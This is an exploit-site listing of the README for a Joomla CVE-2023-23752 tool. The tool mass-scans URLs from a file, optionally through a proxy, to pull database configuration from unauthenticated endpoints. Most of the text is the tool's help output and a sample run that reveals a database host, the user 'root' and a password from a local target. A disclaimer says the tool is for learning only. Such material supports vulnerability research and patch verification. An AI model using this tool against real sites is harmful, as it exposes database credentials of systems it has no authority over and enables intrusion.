Exploit for Improper Access Control in Joomla Joomla! CVE-2023-23752

Name: Exploit for Improper Access Control in Joomla Joomla! CVE-2023-23752
Rating: 5 (229 reviews)
2023-12-13 | CVSS 5.3
## https://sploitus.com/exploit?id=CBAB8526-421A-5A3E-8995-85FDE0AD1EEC
# CVE-2023-23752
CVE-2023-23752 Joomla Unauthenticated Information Disclosure

## Description

+ 支持高并发检测
+ 将`url`写入`urls.txt`，只支持`http://ip:port & https://ip:port` 格式
+ 使用`-p`参数添加代理
+ Just run

## Usage

### Help

```powershell
.\CVE-2023-23752.exe -h

         ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗ ██████╗ ███████╗███████╗██████╗
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗╚════██╗╚════██║██╔════╝╚════██╗
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝    ██╔╝███████╗ █████╔╝
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝  ╚═══██╗   ██╔╝ ╚════██║██╔═══╝
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗██████╔╝   ██║  ███████║███████╗
         ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝╚═════╝    ╚═╝  ╚══════╝╚══════╝

        @Auth: C1ph3rX13
        @Blog: https://c1ph3rx13.github.io
        @Note：CVE-2023-23752 Joomla Unauthenticated Information Disclosure
        @Warn: 代码仅供学习使用，请勿用于其他用途

Usage of CVE-2023-23752.exe:
  -p string
        Proxy Url
```

### Run

```powershell
.\CVE-2023-23752.exe

         ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗ ██████╗ ███████╗███████╗██████╗
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗╚════██╗╚════██║██╔════╝╚════██╗
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝    ██╔╝███████╗ █████╔╝
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝  ╚═══██╗   ██╔╝ ╚════██║██╔═══╝
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗██████╔╝   ██║  ███████║███████╗
         ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝╚═════╝    ╚═╝  ╚══════╝╚══════╝

        @Auth: C1ph3rX13
        @Blog: https://c1ph3rx13.github.io
        @Note：CVE-2023-23752 Joomla Unauthenticated Information Disclosure
        @Warn: 代码仅供学习使用，请勿用于其他用途

2023-12-13 11:24:14 WARN Target: http://127.0.0.1:8080
2023-12-13 11:24:14 INFO Dbtype: mysqli
2023-12-13 11:24:14 INFO Host: joomladb
2023-12-13 11:24:14 INFO User: root
2023-12-13 11:24:14 INFO Password: example
2023-12-13 11:24:14 INFO Dbprefix: dm2vs_
```